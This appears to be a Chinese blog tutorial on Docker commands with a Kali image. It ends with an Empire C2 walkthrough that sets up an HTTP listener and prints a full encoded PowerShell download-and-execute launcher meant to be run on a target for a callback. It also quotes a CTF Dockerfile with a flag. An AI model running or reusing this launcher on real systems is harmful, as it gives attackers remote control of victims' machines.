➜ ~ docker history kalilinux:latest IMAGE CREATED CREATED BY SIZE COMMENT 8ececeaf404d 9 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B <missing> 9 months ago /bin/sh -c apt-get -y update && apt-get -y... 251MB <missing> 9 months ago /bin/sh -c #(nop) ENV DEBIAN_FRONTEND=non... 0B <missing> 9 months ago /bin/sh -c echo"deb http://http.kali.org/... 134B <missing> 9 months ago /bin/sh -c #(nop) MAINTAINER steev@kali.org 0B <missing> 11 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B <missing> 11 months ago /bin/sh -c apt-get -y update && apt-get -y... 286MB
6.搜索镜像
1 2 3 4 5 6 7 8 9 10 11 12
#搜索所有自动创建的评价为1+的带kali关键字的镜像 ➜ ~ docker search --automated -s 3 kali Flag --automated has been deprecated, use --filter=is-automated=true instead Flag --stars has been deprecated, use --filter=stars=3 instead NAME DESCRIPTION STARS OFFICIAL AUTOMATED kalilinux/kali-linux-docker Kali Linux Rolling Distribution Base Image 361 [OK] linuxkonsult/kali-metasploit Kali base image with metasploit 54 [OK] jasonchaffee/kali-linux Kali Linux Docker Container with the kali-... 8 [OK] brimstone/kali 6 [OK] adamoss/kali2-metasploit Kali2 Automated Build 4 [OK] wsec/kali-metasploit Official Kali Base image + Metasploit 3 [OK] kalinon/comicstreamer ComicStreamer is a media server app for sh... 3 [OK]
7.删除镜像
1 2 3 4 5 6 7 8 9 10 11 12 13
#如果同一个标签有多个tag,那么docker rmi只是删除tag而已 #如果docker rmi id的话,会先删除所有的tag然后删除镜像 #但是若该镜像的容器存在,也是无法删除的,如果想强制删除可以使用docker rmi -f id ➜ ~ docker images REPOSITORY TAG IMAGE ID CREATED SIZE kalilinux/kali-linux-docker latest 8ececeaf404d 9 months ago 1.56GB kalilinux latest 8ececeaf404d 9 months ago 1.56GB ➜ ~ docker rmi kalilinux/kali-linux-docker:latest Untagged: kalilinux/kali-linux-docker:latest Untagged: kalilinux/kali-linux-docker@sha256:2ebc75f51fa4937340a0d3b4fe903c60aad23866b8c9e1fae80ad7372e01b71d ➜ ~ docker images REPOSITORY TAG IMAGE ID CREATED SIZE kalilinux latest 8ececeaf404d 9 months ago 1.56GB
8.创建镜像
1)基于已有镜像的容器创建
1 2 3 4 5 6 7 8 9 10 11 12
#我们先创建容器并安装metasploit-framework ➜ ~ docker run -it kalilinux:latest /bin/bash root@de573c5f5dc6:/# apt update && apt install metasploit-framework root@de573c5f5dc6:/#exit #记住id为de573c5f5dc6 #docker commit -m "改动信息" -a "作者名称" id REPOSITORY:TAG ➜ ~ docker commit -m "install msf" -a "zeroyu" de573c5f5dc6 kalilinux:0.1 sha256:66a6770d79d88c826b2e4a38b98037c14de0b9d2ce897307dc30afbf675ce51a ➜ ~ docker images REPOSITORY TAG IMAGE ID CREATED SIZE kalilinux 0.1 66a6770d79d8 21 seconds ago 2.54GB kalilinux latest 8ececeaf404d 9 months ago 1.56GB
#容器还可以使用name来唯一辨识 ➜ ~ docker run -itd kalilinux:0.1 77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f14360 ➜ ~ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 77e93d18a6a5 kalilinux:0.1 "/bin/bash" 20 seconds ago Up 21 seconds stupefied_gates ➜ ~ docker attach stupefied_gates root@77e93d18a6a5:/#
2)使用exec命令
1 2 3 4 5 6 7
➜ ~ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 77e93d18a6a5 kalilinux:0.1 "/bin/bash" 5 minutes ago Exited (0) About a minute ago stupefied_gates ➜ ~ docker start 77e 77e ➜ ~ docker exec -it 77e93d18a6a5 /bin/bash root@77e93d18a6a5:/#
4.删除容器
1 2 3 4 5 6 7 8 9
➜ ~ docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 77e93d18a6a5 kalilinux:0.1 "/bin/bash" 7 minutes ago Up About a minute stupefied_gates ➜ ~ docker rm 77e93d18a6a5 Error response from daemon: You cannot remove a running container 77e93d18a6a547c85d86925a0bf3c4ae734eec6fe235ae1c3fe0f19822f14360. Stop the container before attempting removal or force remove ➜ ~ docker stop 77e93d18a6a5 77e93d18a6a5 ➜ ~ docker rm 77e93d18a6a5 77e93d18a6a5
#使用-v标记挂在本地的tmp目录到容器中的/opt/tmp_test #使用rw(默认也是这种方式)来指定可读写 #下面的#表示的不是注释 ➜ ~ docker run -it -P --name db -v /tmp:/opt/tmp_test:rw kalilinux:0.1 /bin/sh # ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var # cd opt # ls tmp_test # cd tmp_test # ls com.apple.launchd.0fGM76e6ao com.apple.launchd.UWfVYRXkwo powerlog com.apple.launchd.AkQGotnulN pip-FfQw68-unpack zeroyu.txt #
Docker端口映射
1 2 3 4 5 6 7 8 9 10 11 12
#-P是指映射到任意端口 #-p加端口号(本地端口:远程端口=>0.0.0.0:8080:80),则将端口映射到所有地址的相应端口 ➜ ~ docker run -it -d -p 5000:5000 kalilinux:v0.2 23e91a40cb124720b1dba81371a275169124cbff2778120b4350470fa79a0d91 ➜ ~ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 23e91a40cb12 kalilinux:v0.2 "/bin/bash" 12 seconds ago Up 11 seconds 0.0.0.0:5000->5000/tcp boring_volhard ➜ ~ docker attach boring_volhard root@23e91a40cb12:/# cd home/Empire/ root@23e91a40cb12:/home/Empire# ls LICENSE README.md changelog data empire lib setup root@23e91a40cb12:/home/Empire#
Dockerfile
Dockerfile基本语句的说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
FROM <image:版本标签>:该 image 文件继承某个镜像 image,冒号表示标签,这里标签是8.4,即8.4版本的 node。
RUN chmod u+s /read_flag RUN rm -rf /var/www/html/index.html RUN mkdir /var/www/data RUN chown www-data /var/www/data RUN chmod -R 775 /var/www/data RUNecho'hitcon{Th3 d4rk fl4m3 PHP Mast3r}' > /flag RUN chmod 700 /flag
#Configure the apache2 RUN sed 's/Indexes //' /etc/apache2/apache2.conf > /etc/apache2/apache2.conf.new RUN sed 's/MaxConnectionsPerChild 0/MaxConnectionsPerChild 100/' /etc/apache2/mods-available/mpm_prefork.conf > /etc/apache2/mods-available/mpm_prefork.conf.new RUN mv /etc/apache2/apache2.conf.new /etc/apache2/apache2.conf RUN mv /etc/apache2/mods-available/mpm_prefork.conf.new /etc/apache2/mods-available/mpm_prefork.conf RUNecho'<Directory "/var/www/data">\n\tphp_flag engine off\n</Directory>' >> /etc/apache2/sites-enabled/000-default.conf
#Create run.sh ADD run.sh / RUN chmod +x /run.sh
#Expose http service EXPOSE80 CMD ["bash -x /run.sh"]
Commands ======== agents Jump to the Agents menu. creds Add/display credentials to/from the database. exit Exit Empire help Displays the help menu. interact Interact with a particular agent. list Lists active agents or listeners. listeners Interact with active listeners. load Loads Empire modules from a non-standard folder. preobfuscate Preobfuscate PowerShell module_source files reload Reload one (or all) Empire modules. reset Reset a global option (e.g. IP whitelists). resource Read and execute a list of Empire commands from a file. searchmodule Search Empire module names/descriptions. set Set a global option (e.g. IP whitelists). show Show a global option (e.g. IP whitelists). usemodule Use an Empire module. usestager Use an Empire stager.
(Empire) > list (Empire) > listeners [!] No listeners currently active (Empire: listeners) > uselistener http (Empire: listeners/http) > info
Name: HTTP[S] Category: client_server
Authors: @harmj0y
Description: Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach.
HTTP[S] Options:
Name Required Value Description ---- -------- ------- ----------- SlackToken False Your SlackBot API token to communicate with your Slack instance. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). KillDate False Date for the listener to exit (MM/dd/yyyy). Name True http Name for the listener. Launcher True powershell -noP -sta -w 1 -enc Launcher string. DefaultDelay True 5 Agent delay/reach back interval (in seconds). DefaultLostLimit True 60 Number of missed checkins before exiting WorkingHours False Hours for the agent to operate (09:00-17:00). SlackChannel False #general The Slack channel or DM that notifications will be sent to. DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent. process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host True http://172.17.0.2:80 Hostname/IP for staging. CertPath False Certificate path for https listeners. DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0). Proxy False default Proxy to use for request (default, none, or other). UserAgent False default User-agent string to use for the staging request (default, none, or other). StagingKey True 3ab47284cf7e260541d810beb54d3405 Staging key for initial agent negotiation. BindIP True 0.0.0.0 The IP to bind to on the control server. Port True 80 Port for the listener. ServerVersion True Microsoft-IIS/7.5 Server header for the control server. StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php
(Empire: listeners/http) > set Name docker #此处的172.16.188.1为vps的ip地址 (Empire: listeners/http) > set Host http://172.16.188.1:5000 (Empire: listeners/http) > execute [*] Starting listener 'docker' [+] Listener successfully started! (Empire: listeners/http) > lsit *** Unknown syntax: lsit (Empire: listeners/http) > back (Empire: listeners) > list
Description: Generate a PowerPick Reflective DLL to inject with stager code.
Options:
Name Required Value Description ---- -------- ------- ----------- Listener True Listener to use. ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). Obfuscate False False Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. Proxy False default Proxy to use for request (default, none, or other). Language True powershell Language of the stager to generate. OutFile True /tmp/launcher.dll File to output dll to. UserAgent False default User-agent string to use for the staging request (default, none, or other). Arch True x64 Architecture of the .dll to generate (x64 or x86). ObfuscateCommand False Token\All\1 The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only. StagerRetries False 0 Times for the stager to retry connecting.
(Empire: stager/windows/dll) > set Listener docker (Empire: stager/windows/dll) > back (Empire: listeners) > launcher powershell docker powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAcwBpAE8AbgBUAEEAYgBMAEUALgBQAFMAVgBFAHIAcwBJAE8ATgAuAE0AQQBKAE8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAAUwA9AFsAUgBFAGYAXQAuAE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AMQA6ADUAMAAwADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAHIAUwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AUgAvAGoAMwAxAEkAYwBRAGQAZQAzAEYANwB2AGoAWABYADIAbgBwADYARQAyAFcAcQBiAGMAPQAiACkAOwAkAEQAYQBUAEEAPQAkAFcAQwAuAEQAbwBXAE4AbABvAEEARABEAGEAVABBACgAJABzAEUAcgArACQAdAApADsAJABpAHYAPQAkAEQAQQBUAGEAWwAwAC4ALgAzAF0AOwAkAGQAQQBUAEEAPQAkAGQAQQB0AGEAWwA0AC4ALgAkAEQAQQB0AGEALgBsAGUATgBHAHQASABdADsALQBKAE8AaQBuAFsAQwBIAEEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAQQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA== #在目标机器上执行上面的payload就可以得到下面的反弹 (Empire: listeners) > [+] Initial agent G3BYNCLW from 172.17.0.1 now active (Slack)